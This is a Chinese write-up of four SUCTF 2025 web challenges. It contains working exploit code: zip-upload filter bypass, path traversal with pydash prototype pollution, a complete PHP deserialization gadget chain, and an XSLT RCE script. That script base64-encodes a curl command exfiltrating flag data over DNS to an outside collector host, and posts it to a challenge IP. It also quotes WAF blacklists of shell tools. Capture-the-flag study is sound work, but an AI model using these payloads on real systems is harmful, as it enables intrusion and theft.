2025SUCTF -WEB

死了

SU_photogallery

可以上传一个zip压缩包

404页面长得像php-s 启动的服务,搜搜相关漏洞

image-20250112221242144

https://blog.csdn.net/Kawakaze_JF/article/details/133046885

找到了这个,成功读取了代码

image-20250112221937147

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;

if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}

}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}

}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}

简单分析一下上传的逻辑

image-20250112223240232

第一个箭头这里调用了extractTo解压了这个压缩包内的东西

随后对内部的文件进行了检测

我们如果使得让他识别文件出错,但是能够正常保留压缩包中的文件,就可以上传我们的一句话shell

参考https://twe1v3.top/2022/10/CTF%E4%B8%ADzip%E6%96%87%E4%BB%B6%E7%9A%84%E4%BD%BF%E7%94%A8/#%E5%88%A9%E7%94%A8%E5%A7%BF%E5%8A%BFonezip%E6%8A%A5%E9%94%99%E8%A7%A3%E5%8E%8B

相当于只要过waf就行了

SU_blog

有点离谱

随便注册一个账号密码,登上去

F12看到以下内容

image-20250112224801287

猜测是要先变成admin,然后可以访问file读取东西

然后感觉是要和给出的提示

image-20250112224838621

配合 去算他那个时间戳,然后得到secret

然后才发现可以直接注册admin/aaaaaa 变成admin,都不需要伪造cookies 我糙

双写绕过,可以读取到源码

1
/article?file=articles/..././app.py

image-20250112225059806

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
 from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}

friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
def __init__(self):
pass

user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))

if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']

if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))

return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

name = request.form.get('name')
url = request.form.get('url')

if name and url:
friend_links.append({"name": name, "url": url})

return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

if 0 <= index < len(friend_links):
del friend_links[index]

return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))

file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")

blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")

if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")

if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")

file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"

return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json

if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400

key = body.get('key')
value = body.get('value')

if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400

if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400

set_(user_data, key, value)

flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200

except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500

return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))



if __name__ == '__main__':
app.run(host='0.0.0.0',port=5001)

注意到有一个waf.py 可以读取一下

1
/article?file=articles/..././wa../f.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]

def check_blacklist(data, blacklist):
for item in blacklist:
if item in data:
return False
return True

def pwaf(key):
# 将 key 转换为字节串
key_bytes = key.encode()
if not check_blacklist(key_bytes, key_blacklist_bytes):
print(f"Key contains blacklisted words.")
return False
return True

def cwaf(value):
if len(value) > 77:
print("Value exceeds 77 characters.")
return False

# 将 value 转换为字节串
value_bytes = value.encode()
if not check_blacklist(value_bytes, value_blacklist_bytes):
print(f"Value contains blacklisted words.")
return False
return True

这里存在原型链污染

image-20250112225304297

找到一篇文章Pydash 原型链污染

image-20250112225804517

通过污染jinja2 编译模板时的包中的参数可以完成rce 这里恰好给了数字2

不过loader没了,需要寻找一下其他的

为咯方便调试,我自己加上了一个shell路由

1
2
3
4
5
6
7
8
9
@app.route('/shell', methods=['GET', 'POST'])
def shell():
if request.method == 'POST':
username = request.form['shell']
try:
print(eval(username))
except:
return "die"
return "ok"

image-20250112230109618

image-20250112230426780

发现由有个这个

image-20250112230449721

成功找到sys

image-20250112230511192

接下来就直接拿shell即可

image-20250112230541093

image-20250112230633848

调了好久 手慢无

SU_POP

路由里面有一个反序列化路由,明显就是要找链子

image-20250112231909804

先看看destruct方法

在RejectedPromise类的__destruct方法

image-20250112232541699

这里可以触发tostring方法,$handled默认就是false 不需要修改

Response的tostring方法可以触发call方法

image-20250113001951580

接下来就是找可以利用的call方法

vendor\cakephp\cakephp\src\ORM\Table.php下

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call(string $method, array $args): mixed
{
if ($this->_behaviors->hasMethod($method)) {
return $this->_behaviors->call($method, $args);
}
if (preg_match('/^find(?:\w+)?By/', $method) > 0) {
return $this->_dynamicFinder($method, $args);
}

throw new BadMethodCallException(
sprintf('Unknown method `%s` called on `%s`', $method, static::class),
);
}

这里可以调用call($method, $args);调用任意call方法,同时$method和$args均可控,符合我们rce的要求

这里的$_behaviors还是BehaviorRegistry类

image-20250113003558490

现在看看能不能满足判断条件

1
$this->_behaviors->hasMethod($method)

指向的是BehaviorRegistry的方法

1
2
3
4
5
6
public function hasMethod(string $method): bool
{
$method = strtolower($method);

return isset($this->_methodMap[$method]);
}

判断是不是在这个$_methodMap内,但是这个值我们可以控制,只要把我们执行的函数放到这个array里面就行

走到vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php的call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function call(string $method, array $args = []): mixed
{
$method = strtolower($method);
if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
[$behavior, $callMethod] = $this->_methodMap[$method];

return $this->_loaded[$behavior]->{$callMethod}(...$args);
}

throw new BadMethodCallException(
sprintf('Cannot call `%s`, it does not belong to any attached behavior.', $method),
);
}

一个hasMethod判断如上 一个has判断如下

image-20250113004021376

参数均可控 现在就是找可以执行命令的函数了

找到一个eval函数存在的地方

image-20250113004146114

触发这个即可,链子如下

1
RejectedPromise#__destruct ==> Response#__toString ==> Table#__call ==> BehaviorRegistry#call ==> MockClass#generate

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace React\Promise\Internal;
class RejectedPromise
{

public $reason;
}
namespace Cake\Http;
class Response
{
public $stream;
}
namespace Cake\ORM;
class Table
{
public $_behaviors;
}
class BehaviorRegistry
{
public $_methodMap;
}
namespace PHPUnit\Framework\MockObject\Generator;
class MockClass
{
public $classCode;
public $mockName;
}
use React\Promise\Internal\RejectedPromise;
use Cake\Http\Response;
use Cake\ORM\Table;
use Cake\ORM\BehaviorRegistry;
$payload = new RejectedPromise();
$payload->reason = new Response();
$payload->reason->stream = new Table();
$payload->reason->stream->_behaviors = new BehaviorRegistry();
$payload->reason->stream->_behaviors->_methodMap['rewind']=['test',"generate"];
$test = new MockClass();
$test->classCode="system('calc');";
$test->mockName = 'MyMockClass';
echo serialize($payload);

SU_PWN

这题dns出网 但是实在是做的太折磨了

/upload路由可以上传文件 然后试图用org.apache.xalan.xslt.Process;去做转换

image-20250112210623865

上网搜,可以找到这两个网页

Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)

select.xslt

这个payload在不考虑check的时候是可以直接rce的

image-20250112211505480

但是他这里限制了不能出现Runtime,所以这个payload就失效了,不过我们依然可以寻找其他的方式

import与include标签(失败)

​ 这两个标签的灵感来源于国城杯jelly那题里面,同样可以使用这两个标签去加载外部的文件,尝试直接rce看看

构造本地的xslt标签

1
2
3
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="http://vps:port/select.xslt"/>
</xsl:stylesheet>

尝试一下

image-20250112213446778

本地成功打穿

线上环境应该是不出网,我没办法加载到我服务器上的xlst,这下只能换个办法

编码绕过

想起来xxe里面有一个技巧是可以使用编码绕过,翻来翻去没找到编码的标签,想到试试16进制编码看看

1
2
3
4
5
6
7
8
9
10
11
12
def string_to_hex_escape(input_string):
hex_escaped_string = ''.join([f'&#x{ord(char):X};' for char in input_string])
return hex_escaped_string


input_string = '''runtime:exec(runtime:getRuntime(),'calc')'''


output_string = string_to_hex_escape(input_string)

print(output_string)

image-20250112213954852

成功识别并且rce

image-20250112214051774

下一步就是外带了,这一步发现dns居然是出网的

直接一手dns外带就行

flag名字及其抽象,同时需要切片才能读取到flag里面的内容

和carbofish搓了搓脚本,成功得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import base64

def string_to_hex_escape(input_string):
# 遍历字符串中的每个字符,并转换为十六进制转义
hex_escaped_string = ''.join([f'&#x{ord(char):X};' for char in input_string])
return hex_escaped_string

# 输入字符串
cmd = "curl $({cat,wqjugajFwlasfafg213asmkagjasanduer2asdsaf}|base64 -w 0| cut -c 90-91).4h20b1y4.requestrepo.com"
cmd = base64.b64encode(cmd.encode()).decode()
input_string = f'''runtime:exec(runtime:getRuntime(),'bash -c {{echo,{cmd}}}|{{base64,-d}}|{{bash,-i}}')'''
# input_string = "java.lang.ProcessBuilder"

'''
YQpiaW4KYm9vdApkZXYKZXRjCmhvbWUKbGliCmxpYjMyCmxpYjY0CmxpYngzMgptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2Jpbgpzb3VyY2UueG1sCnNydgpzeXMKdG1wCnVzcgp2YXIKd2FfeHNsdCQwLmNsYXNzCndhX3hzbHQkMS5jbGFzcwp3YV94c2x0JDIuY2xhc3MKd2FfeHNsdC5jbGFzcwp3cWp1Z2FqRndsYXNmYWZnMjEzYXNta2FnamFzYW5kdWVyMmFzZHNhZgo

c3VjdGZ7YWt1c2dma2FqYmtnd2FsaGxhaHNsamFnaHUtODcxMjc0NjcxN2hqYWJza2JmLTg3a2Fic2tmaGJraGFzZn0

'''

print("command", input_string, "\n")

# 转换为十六进制转义
output_string = string_to_hex_escape(input_string)

# print(output_string)

f = open("payload.xslt", "r", encoding="utf-8").read()
f = f.replace("%CODE%", output_string)
open("out.xslt", "w", encoding="utf-8").write(f)

# 1.95.40.152:10030

r = requests.post(
url="http://1.95.40.152:10029/upload?filename=114514",
files={
"File": open("out.xslt", "r", encoding="utf-8")
}
)

# 输出转换后的结果
print(r.text)

# RG9ja2VyCmJpbgpib290CmRldgpldGMKZmxhZwpob21lCmluaXQKbGliCmxpYjMyCmxpYjY0Cmxp

# <xsl:value-of select="runtime:exec(runtime:getRuntime(),'curl 114514.ytkrc3jm.requestrepo.com')" xmlns:runtime="java.lang.Runtime"/>